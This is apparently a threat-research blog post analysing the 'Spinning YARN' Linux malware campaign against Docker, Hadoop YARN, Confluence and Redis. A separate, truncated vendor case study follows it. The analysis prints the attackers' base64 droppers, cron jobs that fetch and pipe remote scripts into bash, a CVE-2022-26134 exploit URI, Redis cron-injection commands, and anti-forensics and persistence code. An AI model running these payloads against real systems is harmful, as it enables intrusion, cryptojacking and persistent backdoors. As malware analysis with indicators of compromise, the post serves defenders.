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June 3, 2024

Spinning YARN: A New Linux Malware Campaign Targets Docker, Apache Hadoop, Redis and Confluence

Cado Security labs researchers (now part of Darktrace) encountered a Linux malware campaign, "Spinning YARN," that targets Docker, Apache Hadoop, Redis, and Confluence. This campaign exploits vulnerabilities in these widely used platforms to gain access.
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03
Jun 2024

Introduction: Linux malware campaign

Researchers from Cado Security Labs (now part of Darktrace) have encountered an emerging malware campaign targeting misconfigured servers running the following web-facing services:

The campaign utilizes a number of unique and unreported payloads, including four Golang binaries, that serve as tools to automate the discovery and infection of hosts running the above services. The attackers leverage these tools to issue exploit code, taking advantage of common misconfigurations and exploiting an n-day vulnerability, to conduct Remote Code Execution (RCE) attacks and infect new hosts. 

Once initial access is achieved, a series of shell scripts and general Linux attack techniques are used to deliver a cryptocurrency miner, spawn a reverse shell and enable persistent access to the compromised hosts. 

As always, it’s worth stressing that without the capabilities of governments or law enforcement agencies, attribution is nearly impossible – particularly where shell script payloads are concerned. However, it’s worth noting that the shell script payloads delivered by this campaign bear resemblance to those seen in prior cloud attacks, including those attributed to TeamTNT and WatchDog, along with the Kiss a Dog campaign reported by Crowdstrike. [3] 

Summary:

  • Four novel Golang payloads have been discovered that automate the identification and exploitation of Docker, Hadoop YARN, Confluence and Redis hosts
  • Attackers deploy an exploit for CVE-2022-26134, an n-day vulnerability in Confluence which is used to conduct RCE attacks [4]
  • For the Docker compromise, the attackers spawn a container and escape from it onto the underlying host
  • The attackers also deploy an instance of the Platypus open-source reverse shell utility, to maintain access to the host [5]
  • Multiple user mode rootkits are deployed to hide malicious processes

Initial access

Cado Security Labs researchers first discovered this campaign after being alerted to a cluster of initial access activity on a Docker Engine API honeypot. A Docker command was received from the IP address 47[.]96[.]69[.]71 that spawned a new container, based on Alpine Linux, and created a bind mount for the underlying honeypot server’s root directory (/) to the mount point /mnt within the container itself. 

This technique is fairly common in Docker attacks, as it allows the attacker to write files to the underlying host. Typically, this is exploited to write out a job for the Cron scheduler to execute, essentially conducting a remote code execution (RCE) attack. 
In this particular campaign, the attacker exploits this exact method to write out an executable at the path /usr/bin/vurl, along with registering a Cron job to decode some base64-encoded shell commands and execute them on the fly by piping through bash.

Wireshark output
Figure 1: Wireshark output demonstrating Docker communication, including Initial Access commands 

The vurl executable consists solely of a simple shell script function, used to establish a TCP connection with the attacker’s Command and Control (C2) infrastructure via the /dev/tcp device file. The Cron jobs mentioned above then utilize the vurl executable to retrieve the first stage payload from the C2 server located at http[:]//b[.]9-9-8[.]com which, at the time of the attack, resolved to the IP 107[.]189[.]31[.]172.

echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsICRACg== |base64 -d    

     \u003e/usr/bin/vurl \u0026\u0026 chmod +x /usr/bin/vurl;echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/crontab \u0026\u0026 echo '* * * * * root echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d|bash|bash' \u003e/etc/cron.d/zzh \u0026\u0026 echo KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d \u003e\u003e/etc/crontab" 

Payload retrieval commands written out to the Docker host

echo dnVybCBodHRwOi8vYi45LTktOC5jb20vYnJ5c2ovY3JvbmIuc2gK|base64 -d 

    vurl http[:]//b[.]9-9-8[.]com/brysj/cronb.sh 

Contents of first Cron job decoded

To provide redundancy in the event that the vurl payload retrieval method fails, the attackers write out an additional Cron job that attempts to use Python and the urllib2 library to retrieve another payload named t.sh.

KiAqICogKiAqIHJvb3QgcHl0aG9uIC1jICJpbXBvcnQgdXJsbGliMjsgcHJpbnQgdXJsbGliMi51cmxvcGVuKCdodHRwOi8vYi45XC05XC1cOC5jb20vdC5zaCcpLnJlYWQoKSIgPi4xO2NobW9kICt4IC4xOy4vLjEK|base64 -d 

    * * * * * root python -c "import urllib2; print urllib2.urlopen('http://b.9\-9\-\8.com/t.sh').read()" >.1;chmod +x .1;./.1 

Contents of the second Cron job decoded

Unfortunately, Cado Security Labs researchers were unable to retrieve this additional payload. It is assumed that it serves a similar purpose to the cronb.sh script discussed in the next section, and is likely a variant that carries out the same attack without relying on vurl. 

It’s worth noting that based on the decoded commands above, t.sh appears to reside outside the web directory that the other files are served from. This could be a mistake on the part of the attacker, perhaps they neglected to include that fragment of the URL when writing the Cron job.

Primary payload: cronb.sh

cronb.sh is a fairly straightforward shell script, its capabilities can be summarized as follows:

  • Define the C2 domain (http[:]//b[.]9-9-8[.]com) and URL (http[:]//b[.]9-9-8[.]com/brysj) where additional payloads are located 
  • Check for the existence of the chattr utility and rename it to zzhcht at the path in which it resides
  • If chattr does not exist, install it via the e2fsprogs package using either the apt or yum package managers before performing the renaming described above
  • Determine whether the current user is root and retrieve the next payload based on this
... 
    if [ -x /bin/chattr ];then 
        mv /bin/chattr /bin/zzhcht 
    elif [ -x /usr/bin/chattr ];then 
        mv /usr/bin/chattr /usr/bin/zzhcht 
    elif [ -x /usr/bin/zzhcht ];then 
        export CHATTR=/usr/bin/zzhcht 
    elif [ -x /bin/zzhcht ];then 
        export CHATTR=/bin/zzhcht 
    else  
       if [ $(command -v yum) ];then  
            yum -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
               mv /bin/chattr /bin/zzhcht 
       elif [ -x /usr/bin/chattr ];then 
               mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       else 
            apt-get -y reinstall e2fsprogs 
            if [ -x /bin/chattr ];then 
              mv /bin/chattr /bin/zzhcht 
      elif [ -x /usr/bin/chattr ];then 
              mv /usr/bin/chattr /usr/bin/zzhcht 
            fi 
       fi 
    fi 
    ... 

Snippet of cronb.sh demonstrating chattr renaming code

ar.sh

This much longer shell script prepares the system for additional compromise, performs anti-forensics on the host and retrieves additional payloads, including XMRig and an attacker-generated script that continues the infection chain.

In a function named check_exist(), the malware uses netstat to determine whether connections to port 80 outbound are established. If an established connection to this port is discovered, the malware prints miner running to standard out. Later code suggests that the retrieved miner communicates with a mining pool on port 80, indicating that this is a check to determine whether the host has been previously compromised.

ar.sh will then proceed to install a number of utilities, including masscan, which is used for host discovery at a later stage in the attack. With this in place, the malware proceeds to run a number of common system weakening and anti-forensics commands. These include disabling firewalld and iptables, deleting shell history (via the HISTFILE environment variable), disabling SELinux and ensuring outbound DNS requests are successful by adding public DNS servers to /etc/resolv.conf.

Interestingly, ar.sh makes use of the shopt (shell options) built-in to prevent additional shell commands from the attacker’s session from being appended to the history file. [6] This is achieved with the following command:

shopt -ou history 2>/dev/null 1>/dev/null

Not only are additional commands prevented from being written to the history file, but the shopt command itself doesn’t appear in the shell history once a new session has been spawned. This is an effective anti-forensics technique for shell script malware, one that Cado Security Labs researchers have yet to see in other campaigns.

env_set(){ 
    iptables -F 
    systemctl stop firewalld 2>/dev/null 1>/dev/null 
    systemctl disable firewalld 2>/dev/null 1>/dev/null 
    service iptables stop 2>/dev/null 1>/dev/null 
    ulimit -n 65535 2>/dev/null 1>/dev/null 
    export LC_ALL=C  
    HISTCONTROL="ignorespace${HISTCONTROL:+:$HISTCONTROL}" 2>/dev/null 1>/dev/null 
    export HISTFILE=/dev/null 2>/dev/null 1>/dev/null 
    unset HISTFILE 2>/dev/null 1>/dev/null 
    shopt -ou history 2>/dev/null 1>/dev/null 
    set +o history 2>/dev/null 1>/dev/null 
    HISTSIZE=0 2>/dev/null 1>/dev/null 
    export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games 
    setenforce 0 2>/dev/null 1>/dev/null 
    echo SELINUX=disabled >/etc/selinux/config 2>/dev/null 
    sudo sysctl kernel.nmi_watchdog=0 
    sysctl kernel.nmi_watchdog=0 
    echo '0' >/proc/sys/kernel/nmi_watchdog 
    echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 
    grep -q 8.8.8.8 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.8.8" >> /etc/resolv.conf; 
    grep -q 114.114.114.114 /etc/resolv.conf || ${CHATTR} -i /etc/resolv.conf 2>/dev/null 1>/dev/null; echo "nameserver 8.8.4.4" >> /etc/resolv.conf; 
    } 

System weakening commands from ar.sh – env_set() function

Following the above techniques, ar.sh will proceed to install the libprocesshider and diamorphine user mode rootkits and use these to hide their malicious processes [7][8]. The rootkits are retrieved from the attacker’s C2 server and compiled on delivery. The use of both libprocesshider and diamorphine is particularly common in cloud malware campaigns and was most recently exhibited by a Redis miner discovered by Cado Security Labs in February 2024. [9].

Additional system weakening code in ar.sh focuses on uninstalling monitoring agents for Alibaba Cloud and Tencent, suggesting some targeting of these cloud environments in particular. Targeting of these East Asian cloud providers has been observed previously in campaigns by the threat actor WatchDog [10].

Other notable capabilities of ar.sh include: 

  • Insertion of an attacker-controlled SSH key, to maintain access to the compromised host
  • Retrieval of the miner binary (a fork of XMRig), this is saved to /var/tmp/.11/sshd
  • Retrieval of bioset, an open source Golang reverse shell utility, named Platypus, saved to /var/tmp/.11/bioset [5]
  • The bioset payload was intended to communicate with an additional C2 server located at 209[.]141[.]37[.]110:14447, communication with this host was unsuccessful at the time of analysis
  • Registering persistence in the form of systemd services for both bioset and the miner itself
  • Discovery of SSH keys and related IPs
  • The script also attempts to spread the cronb.sh malware to these discovered IPs via a SSH remote command
  • Retrieval and execution of a binary executable named fkoths (discussed in a later section)
... 
            ${CHATTR} -ia /etc/systemd/system/sshm.service && rm -f /etc/systemd/system/sshm.service 
    cat >/tmp/ext4.service << EOLB 
    [Unit] 
    Description=crypto system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/sshd 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    grep -q '/var/tmp/.11/bioset' /etc/systemd/system/sshb.service 
    if [ $? -eq 0 ] 
    then  
            echo service exist 
    else 
            ${CHATTR} -ia /etc/systemd/system/sshb.service && rm -f /etc/systemd/system/sshb.service 
    cat >/tmp/ext3.service << EOLB 
    [Unit] 
    Description=rshell system service 
    After=network.target 
    [Service] 
    Type=forking 
    GuessMainPID=no 
    ExecStart=/var/tmp/.11/bioset 
    WorkingDirectory=/var/tmp/.11 
    Restart=always 
    Nice=0  
    RestartSec=3 
    [Install] 
    WantedBy=multi-user.target 
    EOLB 
    fi 
    ... 

Examples of systemd service creation code for the miner and bioset binaries

Finally, ar.sh creates an infection marker on the host in the form of a simple text file located at /var/tmp/.dog. The script first checks that the /var/tmp/.dog file exists. If it doesn’t, the file is created and the string lockfile is echoed into it. This serves as a useful detection mechanism to determine whether a host has been compromised by this campaign. 

Finally, ar.sh concludes by retrieving s.sh from the C2 server, using the vurl function once again.

fkoths

This payload is the first of several 64-bit Golang ELFs deployed by the malware. The functionality of this executable is incredibly straightforward. Besides main(), it contains two additional functions named DeleteImagesByRepo() and AddEntryToHost(). 

DeleteImagesByRepo() simply searches for Docker images from the Ubuntu or Alpine repositories, and deletes those if found. Go’s heavy use of the stack makes it somewhat difficult to determine which repositories the attackers were targeting based on static analysis alone. Fortunately, this becomes evident when monitoring the stack in a debugger.

Example stack contents
Figure 2: Example stack contents when DeleteImagesByRepo() is called

It’s clear from the initial access stage that the attackers leverage the alpine:latest image to initiate their attack on the host. Based on this, it’s been assessed with high confidence that the purpose of this function is to clear up any evidence of this initial access, essentially performing anti-forensics on the host. 

The AddEntryToHost() function, as the name suggests, updates the /etc/hosts file with the following line:

127.0.0.1 registry-1.docker.io 

This has the effect of “blackholing” outbound requests to the Docker registry, preventing additional container images from being pulled from Dockerhub. This same technique was observed recently by Cado Security Labs researchers in the Commando Cat campaign [11].

s.sh

The next stage in the infection chain is the execution of yet another shell script, this time used to download additional binary payloads and persist them on the host. Like the scripts before it, s.sh begins by defining the C2 domain (http[:]//b[.]9-9-8[.]com), using a base64-encoded string. The malware then proceeds to create the following directory structure and changing directory into it: /etc/…/.ice-unix/. 

Within the .ice-unix directory, the attacker creates another infection marker on the host, this time in a file named .watch. If the file doesn’t already exist, the script will create it and echo the integer 1 into it. Once again, this serves as a useful detection mechanism for determining whether your host has been compromised by this campaign.

With this in place, the malware proceeds to install a number of packages via the apt or yum package managers. Notable packages include:

  • build-essential
  • gcc
  • redis-server
  • redis-tools
  • redis
  • unhide
  • masscan
  • docker.io
  • libpcap (a dependency of pnscan)

From this, it is believed that the attacker intends to compile some code on delivery, interact with Redis, conduct Internet scanning with masscan and interact with Docker. 

With the package installation complete, s.sh proceeds to retrieve zgrab and pnscan from the C2 server, these are used for host discovery in a later stage. The script then proceeds to retrieve the following executables:

  • c.sh – saved as /etc/.httpd/.../httpd
  • d.sh – saved as /var/.httpd/.../httpd
  • w.sh – saved as /var/.httpd/..../httpd
  • h.sh – saved as var/.httpd/...../httpd

s.sh then proceeds to define systemd services to persistently launch the retrieved executables, before saving them to the following paths:

  • /etc/systemd/system/zzhr.service (c.sh)
  • /etc/systemd/system/zzhd.service (d.sh)
  • /etc/systemd/system/zzhw.service (w.sh)
  • /etc/systemd/system/zzhh.service (h.sh)

... 
    if [ ! -f /var/.httpd/...../httpd ];then 
        vurl $domain/d/h.sh > httpd 
        chmod a+x httpd 
        echo "FUCK chmod2" 
        ls -al /var/.httpd/..... 
    fi 
    cat >/tmp/h.service <<EOL 
    [Service] 
    LimitNOFILE=65535 
    ExecStart=/var/.httpd/...../httpd 
    WorkingDirectory=/var/.httpd/..... 
    Restart=always  
    RestartSec=30 
    [Install] 
    WantedBy=default.target 
    EOL 
    ... 

Example of payload retrieval and service creation code for the h.sh payload

Initial access and spreader utilities: h.sh, d.sh, c.sh, w.sh

In the previous stage, the attacker retrieves and attempts to persist the payloads c.sh, d.sh, w.sh and h.sh. These executables are dedicated to identifying and exploiting hosts running each of the four services mentioned previously. 

Despite their names, all of these payloads are 64-bit Golang ELF binaries. Interestingly, the malware developer neglected to strip the binaries, leaving DWARF debug information intact. There has been no effort made to obfuscate strings or other sensitive data within the binaries either, making them trivial to reverse engineer. 

The purpose of these payloads is to use masscan or pnscan (compiled on delivery in an earlier stage) to scan a randomized network segment and search for hosts with ports 2375, 8088, 8090 or 6379 open. These are default ports used by the Docker Engine API, Apache Hadoop YARN, Confluence and Redis respectively. 

h.sh, d.sh and w.sh contain identical functions to generate a list of IPs to scan and hunt for these services. First, the Golang time_Now() function is called to provide a seed for a random number generator. This is passed to a function generateRandomOctets() that’s used to define a randomised /8 network prefix to scan. Example values include:

  • 109.0.0.0/8
  • 84.0.0.0/8
  • 104.0.0.0/8
  • 168.0.0.0/8
  • 3.0.0.0/8
  • 68.0.0.0/8

For each randomized octet, masscan is invoked and the resulting IPs are written out to the file scan_<octet>.0.0.0_8.txt in the working directory. 

d.sh

disassembly demonstrating use of os/exec to run massan
Figure 3: Disassembly demonstrating use of os/exec to run masscan

For d.sh, this procedure is used to identify hosts with the default Docker Engine API port (2375) open. The full masscan command is as follows:

masscan <octet>.0.0.0/8 -p 2375 –rate 10000 -oL scan_<octet>.0.0.0_8.txt 

The masscan output file is then read and the list of IPs is converted into a format readable by zgrab, before being written out to the file ips_for_zgrab_<octet>.txt [12].

For d.sh, zgrab will read these IPs and issue a HTTP GET request to the /v1.16/version endpoint of the Docker Engine API. The zgrab command in its entirety is as follows:

zgrab --senders 5000 --port=2375 --http='/v1.16/version' --output-file=zgrab_output_<octet>.0.0.0_8.json`  < ips_for_zgrab_<octet>.txt 2>/dev/null 

Successful responses to this HTTP request let the attacker know that Docker Engine is indeed running on port 2375 for the IP in question. The list of IPs to have responded successfully is then written out to zgrab_output_<octet>.0.0.0_8.json. 

Next, the payload calls a function helpfully named executeDockerCommand() for each of the IPs discovered by zgrab. As the name suggests, this function executes the Docker command covered in the Initial Access section above, kickstarting the infection chain on a new vulnerable host. 

Decompiler output demonstrating Docker command construction routine
Figure 4: Decompiler output demonstrating Docker command construction routine

h.sh

This payload contains identical logic for the randomized octet generation and follows the same procedure of using masscan and zgrab to identify targets. The main difference in this payload’s discovery phase is the targeting of Apache Hadoop servers, rather than Docker Engine deployments. As a result, the masscan and zgrab commands are slightly different:

masscan <octet>.0.0.0/8 -p 8088 –rate 10000 -oL scan_<octet>.0.0.0_8.txt 
zgrab --senders 1000 --port=8088 --http='/stacks' --output-file=zgrab_output_<octet>.0.0.0_8.json` < ips_for_zgrab_<octet>.txt 2>/dev/null 

From this, we can determine that d.sh is a Docker discovery and initial access tool, whereas h.sh is an Apache Hadoop discovery and initial access tool. 

Instead of invoking the executeDockerCommand() function, this payload instead invokes a function named executeYARNCommand() to handle the interaction with Hadoop. Similar to the Docker API interaction described previously, the purpose of this is to target Apache Hadoop YARN, a component of Hadoop that is responsible for scheduling tasks within the cluster [1].

If the YARN API is exposed to the open Internet, it’s possible to conduct a RCE attack by sending a JSON payload in a HTTP POST request to the /ws/v1/cluster/apps/ endpoint. This method of conducting RCE has been leveraged previously to deliver cloud-focused malware campaigns, such as Kinsing [13].

Example of YARN HTTP POST generation pseudocode in h.sh
Figure 5: Example of YARN HTTP POST generation pseudocode in h.sh

The POST request contains a JSON body with the same base64-encoded initial access command we covered previously. The JSON payload defines a new application (task to be scheduled, in this case a shell command) with the name new-application. This shell command decodes the base64 payload that defines vurl and retrieves the first stage of the infection chain. 

Success in executing this command kicks off the infection once again on a Hadoop host, allowing the attackers persistent access and the ability to run their XMRig miner.

w.sh 

This executable repeats the discovery procedure outlined in the previous two initial access/discovery payloads, except this time the target port is changed to 8090 – the default port used by Confluence. [2]

For each IP discovered, the malware uses zgrab to issue a HTTP GET request to the root directory of the server. This request includes a URI containing an exploit for CVE-2022-26134, a vulnerability in the Confluence server that allows attackers to conduct RCE attacks. [4]  

As you might expect, this RCE is once again used to execute the base64-encoded initial access command mentioned previously.

Decompiler output displaying CVE-2022-26134 exploit code
Figure 6: Decompiler output displaying CVE-2022-26134 exploit code

Without URL encoding, the full URI appears as follows:

/${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','echo dnVybCgpIHsKCUlGUz0vIHJlYWQgLXIgcHJvdG8geCBob3N0IHF1ZXJ5IDw8PCIkMSIKICAgIGV4ZWMgMzw+Ii9kZXYvdGNwLyR7aG9zdH0vJHtQT1JUOi04MH0iCiAgICBlY2hvIC1lbiAiR0VUIC8ke3F1ZXJ5fSBIVFRQLzEuMFxyXG5Ib3N0OiAke2hvc3R9XHJcblxyXG4iID4mMwogICAgKHdoaWxlIHJlYWQgLXIgbDsgZG8gZWNobyA+JjIgIiRsIjsgW1sgJGwgPT0gJCdccicgXV0gJiYgYnJlYWs7IGRvbmUgJiYgY2F0ICkgPCYzCiAgICBleGVjIDM+Ji0KfQp2dXJsIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai93LnNofGJhc2gK|base64 -d|bash').start()")}/ 

c.sh 

This final payload is dedicated to exploiting misconfigured Redis deployments. Of course, targeting of Redis is incredibly common amongst cloud-focused threat actors, making it unsurprising that Redis would be included as one of the four services targeted by this campaign [9].

This sample includes a slightly different discovery procedure from the previous three. Instead of using a combination of zgrab and masscan to identify targets, c.sh opts to execute pnscan across a range of randomly-generated IP addresses. 

After execution, the malware sets the maximum number of open files to 5000 via the setrlimit() syscall, before proceeding to delete a file named .dat in the current working directory, if it exists. If the file doesn’t exist, the malware creates it and writes the following redis-cli commands to it, in preparation for execution on identified Redis hosts:

save 
    config set stop-writes-on-bgsave-error no 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/var/spool/cron/" 
    config set dbfilename "root" 
    save 
    config set dir "/var/spool/cron/crontabs" 
    save 
    flushall 
    set backup1 "\n\n\n\n*/2 * * * * root echo Y2QxIGh0dHA6Ly9iLjktOS04LmNvbS9icnlzai9iLnNoCg==|base64 -d|bash|bash \n\n\n" 
    set backup2 "\n\n\n\n*/3 * * * * root echo d2dldCAtcSAtTy0gaHR0cDovL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup3 "\n\n\n\n*/4 * * * * root echo Y3VybCBodHRwOi8vL2IuOS05LTguY29tL2JyeXNqL2Iuc2gK|base64 -d|bash|bash \n\n\n" 
    set backup4 "\n\n\n\n@hourly  python -c \"import urllib2; print urllib2.urlopen(\'http://b.9\-9\-8\.com/t.sh\').read()\" >.1;chmod +x .1;./.1 \n\n\n" 
    config set dir "/etc/cron.d" 
    config set dbfilename "zzh" 
    save 
    config set dir "/etc/" 
    config set dbfilename "crontab" 
    save 

This achieves RCE on infected hosts, by writing a Cron job including shell commands to retrieve the cronb.sh payload to the database, before saving the database file to one of the Cron directories. When this file is read by the scheduler, the database file is parsed for the Cron job, and the job itself is eventually executed. This is a common Redis exploitation technique, covered extensively by Cado in previous blogs [9].

After running the random octet generation code described previously, the malware then uses pnscan to attempt to scan the randomized /16 subnet and identify misconfigured Redis servers. The pnscan command is as follows:

/usr/local/bin/pnscan -t512 -R 6f 73 3a 4c 69 6e 75 78 -W 2a 31 0d 0a 24 34 0d 0a 69 6e 66 6f 0d 0a 221.0.0.0/16 6379 
  • The -t argument enforces a timeout of 512 milliseconds for outbound connections
  • The -R argument looks for a specific hex-encoded response from the target server, in this case s:Linux (note that this is likely intended to be os:Linux)
  • The -W argument is a hex-encoded request string to send to the server. This runs the command 1; $4; info against the Redis host, prompting it to return the banner info searched for with the -R argument
pnsan command construction and execution
Figure 7: Disassembly demonstrating pnscan command construction and execution

For each identified IP, the following Redis command is run:

redis-cli -h <IP address> -p <port> –raw <content of .dat> 

Of course, this has the effect of reading the redis-cli commands in the .dat file and executing them on discovered hosts.

Conclusion

This extensive attack demonstrates the variety in initial access techniques available to cloud and Linux malware developers. Attackers are investing significant time into understanding the types of web-facing services deployed in cloud environments, keeping abreast of reported vulnerabilities in those services and using this knowledge to gain a foothold in target environments. 

Docker Engine API endpoints are frequently targeted for initial access. In the first quarter of 2024 alone, Cado Security Labs researchers have identified three new malware campaigns exploiting Docker for initial access, including this one. [11, 14] The deployment of an n-day vulnerability against Confluence also demonstrates a willingness to weaponize security research for nefarious purposes.

Although it’s not the first time Apache Hadoop has been targeted, it’s interesting to note that attackers still find the big data framework a lucrative target. It’s unclear whether the decision to target Hadoop in addition to Docker is based on the attacker’s experience or knowledge of the target environment.

Indicators of compromise

Filename SHA256

cronb.sh d4508f8e722f2f3ddd49023e7689d8c65389f65c871ef12e3a6635bbaeb7eb6e

ar.sh 64d8f887e33781bb814eaefa98dd64368da9a8d38bd9da4a76f04a23b6eb9de5

fkoths afddbaec28b040bcbaa13decdc03c1b994d57de244befbdf2de9fe975cae50c4

s.sh 251501255693122e818cadc28ced1ddb0e6bf4a720fd36dbb39bc7dedface8e5

bioset 0c7579294124ddc32775d7cf6b28af21b908123e9ea6ec2d6af01a948caf8b87

d.sh 0c3fe24490cc86e332095ef66fe455d17f859e070cb41cbe67d2a9efe93d7ce5

h.sh d45aca9ee44e1e510e951033f7ac72c137fc90129a7d5cd383296b6bd1e3ddb5

w.sh e71975a72f93b134476c8183051fee827ea509b4e888e19d551a8ced6087e15c

c.sh 5a816806784f9ae4cb1564a3e07e5b5ef0aa3d568bd3d2af9bc1a0937841d174

Paths

/usr/bin/vurl

/etc/cron.d/zzh

/bin/zzhcht

/usr/bin/zzhcht

/var/tmp/.11/sshd

/var/tmp/.11/bioset

/var/tmp/.11/..lph

/var/tmp/.dog

/etc/systemd/system/sshm.service

/etc/systemd/system/sshb.service

/etc/systemd/system/zzhr.service

/etc/systemd/system/zzhd.service

/etc/systemd/system/zzhw.service

/etc/systemd/system/zzhh.service

/etc/…/.ice-unix/

/etc/…/.ice-unix/.watch

/etc/.httpd/…/httpd

/etc/.httpd/…/httpd

/var/.httpd/…./httpd

/var/.httpd/…../httpd

IP addresses

47[.]96[.]69[.]71

107[.]189[.]31[.]172

209[.]141[.]37[.]110

Domains/URLs

http[:]//b[.]9-9-8[.]com

http[:]//b[.]9-9-8[.]com/brysj/cronb.sh

http[:]//b[.]9-9-8[.]com/brysj/d/ar.sh

http[:]//b[.]9-9-8[.]com/brysj/d/c.sh

http[:]//b[.]9-9-8[.]com/brysj/d/h.sh

http[:]//b[.]9-9-8[.]com/brysj/d/d.sh

http[:]//b[.]9-9-8[.]com/brysj/d/enbio.tar

References:

  1. https://hadoop.apache.org/docs/stable/hadoop-yarn/hadoop-yarn-site/YARN.html
  2. https://www.atlassian.com/software/confluence
  3. https://www.crowdstrike.com/en-us/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/
  4. https://nvd.nist.gov/vuln/detail/cve-2022-26134
  5. https://github.com/WangYihang/Platypus
  6. https://www.gnu.org/software/bash/manual/html_node/The-Shopt-Builtin.html
  7. https://github.com/gianlucaborello/libprocesshider
  8. https://github.com/m0nad/Diamorphine
  9. https://www.darktrace.com/blog/migo-a-redis-miner-with-novel-system-weakening-techniques
  10. https://www.cadosecurity.com/blog/watchdog-continues-to-target-east-asian-csps
  11. https://www.darktrace.com/blog/the-nine-lives-of-commando-cat-analyzing-a-novel-malware-campaign-targeting-docker
  12. https://github.com/zmap/zgrab2
  13. https://www.trendmicro.com/en_us/research/21/g/threat-actors-exploit-misconfigured-apache-hadoop-yarn.html
  14. www.darktrace.com/blog/containerised-clicks-malicious-use-of-9hits-on-vulnerable-docker-hosts
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
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October 15, 2025

How a Major Civil Engineering Company Reduced MTTR across Network, Email and the Cloud with Darktrace

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Asking more of the information security team

“What more can we be doing to secure the company?” is a great question for any cyber professional to hear from their Board of Directors. After successfully defeating a series of attacks and seeing the potential for AI tools to supercharge incoming threats, a UK-based civil engineering company’s security team had the answer: Darktrace.

“When things are coming at you at machine speed, you need machine speed to fight it off – it’s as simple as that,” said their Information Security Manager. “There were incidents where it took us a few hours to get to the bottom of what was going on. Darktrace changed that.”

Prevention was also the best cure. A peer organization in the same sector was still in business continuity measures 18 months after an attack, and the security team did not want to risk that level of business disruption.

Legacy tools were not meeting the team’s desired speed or accuracy

The company’s native SaaS email platform took between two and 14 days to alert on suspicious emails, with another email security tool flagging malicious emails after up to 24 days. After receiving an alert, responses often took a couple of days to coordinate. The team was losing precious time.

Beyond long detection and response times, the old email security platform was no longer performing: 19% of incoming spam was missed. Of even more concern: 6% of phishing emails reached users’ inboxes, and malware and ransomware email was also still getting through, with 0.3% of such email-borne payloads reaching user inboxes.

Choosing Darktrace

“When evaluating tools in 2023, only Darktrace had what I was looking for: an existing, mature, AI-based cybersecurity solution. ChatGPT had just come out and a lot of companies were saying ‘AI this’ and ‘AI that’. Then you’d take a look, and it was all rules- and cases-based, not AI at all,” their Information Security Manager.

The team knew that, with AI-enabled attacks on the horizon, a cybersecurity company that had already built, fielded, and matured an AI-powered cyber defense would give the security team the ability to fend off machine-speed attacks at the same pace as the attackers.

Darktrace accomplishes this with multi-layered AI that learns each organization’s normal business operations. With this detailed level of understanding, Darktrace’s Self-Learning AI can recognize unusual activity that may indicate a cyber-attack, and works to neutralize the threat with precise response actions. And it does this all at machine speed and with minimal disruption.

On the morning the team was due to present its findings, the session was cancelled – for a good reason. The Board didn’t feel further discussion was necessary because the case for Darktrace was so conclusive. The CEO described the Darktrace option as ‘an insurance policy we can’t do without’.

Saving time with Darktrace / EMAIL

Darktrace / EMAIL reduced the discovery, alert, and response process from days or weeks to seconds .

Darktrace / EMAIL automates what was originally a time-consuming and repetitive process. The team has recovered between eight and 10 working hours a week by automating much of this process using / EMAIL.

Today, Darktrace / EMAIL prevents phishing emails from reaching employees’ inboxes. The volume of hostile and unsolicited email fell to a third of its original level after Darktrace / EMAIL was set up.

Further savings with Darktrace / NETWORK and Darktrace / IDENTITY

